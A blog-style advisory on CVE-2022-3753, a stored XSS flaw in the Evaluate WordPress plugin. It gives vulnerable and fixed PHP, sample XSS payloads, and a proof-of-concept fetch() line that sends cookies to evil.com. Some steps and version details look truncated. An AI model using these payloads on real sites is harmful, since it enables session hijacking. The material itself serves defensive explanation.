---
Introduction: What’s the Problem?
In September 2022, a new vulnerability was reported for the Evaluate WordPress plugin (up to version 1.). This bug is catalogued as CVE-2022-3753 and affects the way this plugin processes some of its settings.
In plain terms:
Evaluate doesn’t properly clean or escape user input in some configuration fields. Even if you’re smart enough to disable the risky unfiltered_html capability (for example, in a WordPress multisite), a user with high privileges like an _Administrator_ can trick the plugin into saving malicious JavaScript. Next time an admin or privileged user opens the settings, or a visitor sees the output, the code will be executed in their browser. 💥
Poor Input Handling
The root cause of CVE-2022-3753 is missing sanitization and escaping when storing and displaying settings. Typically, WordPress plugin authors use built-in functions like sanitize_text_field() or esc_html() to make sure that anything entered as a setting won’t get executed as code.
The Evaluate plugin, however, skipped this crucial safety step!
Example of Unsafe Code
Here’s a simplified take on how the vulnerable code might look (not the real source, but illustrative):
// Saving the setting without sanitizing user input
if ( isset( $_POST['evaluate_custom_message'] ) ) {
update_option( 'evaluate_custom_message', $_POST['evaluate_custom_message'] );
}
// Showing the setting without escaping output
echo '<div>' . get_option( 'evaluate_custom_message' ) . '</div>';
If an attacker (with admin access) saves the following as the setting
<script>alert('XSS');</script>
…then every time that message is displayed, the script runs in the browser of whoever loads that page.
Here’s how the exploit actually plays out
1. Attacker gains access as an admin in a WordPress multisite — but does *not* have unfiltered_html rights (the usual ability to inject code).
2. They put a script or malicious payload in a plugin setting (for example, in a “custom message” field).
Because the input isn’t sanitized or escaped, that script is saved as-is.
4. Any user (including super-admin) viewing the backend or area where this setting is displayed will have the browser run the attacker’s code.
Here's the typical XSS test script
<script>alert('XSS!');</script>
Or, more sneaky
<img src="x" onerror="alert(document.cookie)">
Proof-of-Concept Exploit Recipe
Suppose you are a site admin without unfiltered_html, and you can access the Evaluate plugin’s settings page.
`html
fetch('<a href="https://evil.com/steal?cookie=" rel="nofollow">https://evil.com/steal?cookie=</a>' + document.cookie)
`
3. Now, whenever another admin (or yourself) visits a page or settings area that displays this message, the browser will execute this script. In this case, it’ll send cookies to a remote attacker!
- Any admin or privileged user can inject JavaScript that
- Steals cookies/session tokens
Defaces the admin panel or site pages
Even in a multisite install, with unfiltered_html disabled (the usual defense), the bug punches *right through*.
Fix Status and Recommendations
The Evaluate plugin team fixed this bug in an update. If you use Evaluate, make sure to update to the latest version as soon as possible!
Developers: When saving or displaying user-provided data, always use sanitization and escaping. Examples:
// Safe saving
update_option( 'evaluate_custom_message', sanitize_text_field( $_POST['evaluate_custom_message'] ) );
// Safe output
echo '<div>' . esc_html( get_option( 'evaluate_custom_message' ) ) . '</div>';
References
- CVE-2022-3753 on NIST NVD
- WPScan Vulnerability Database
- WordPress Plugin Security Best Practices
Closing Thoughts
CVE-2022-3753 shows that all input must be treated as dangerous—even in settings, even from “safe” users. Plugins that skip WordPress’s sanitization functions can expose their users to real-world risk.
Always update your plugins. And if you’re a developer, sanitize everything, every time!
*Content is exclusive, created for this post. If you found this interesting, consider sharing it with your team to raise awareness about plugin security!*
Timeline
Published on: 11/21/2022 11:15:00 UTC
Last modified on: 11/23/2022 15:19:00 UTC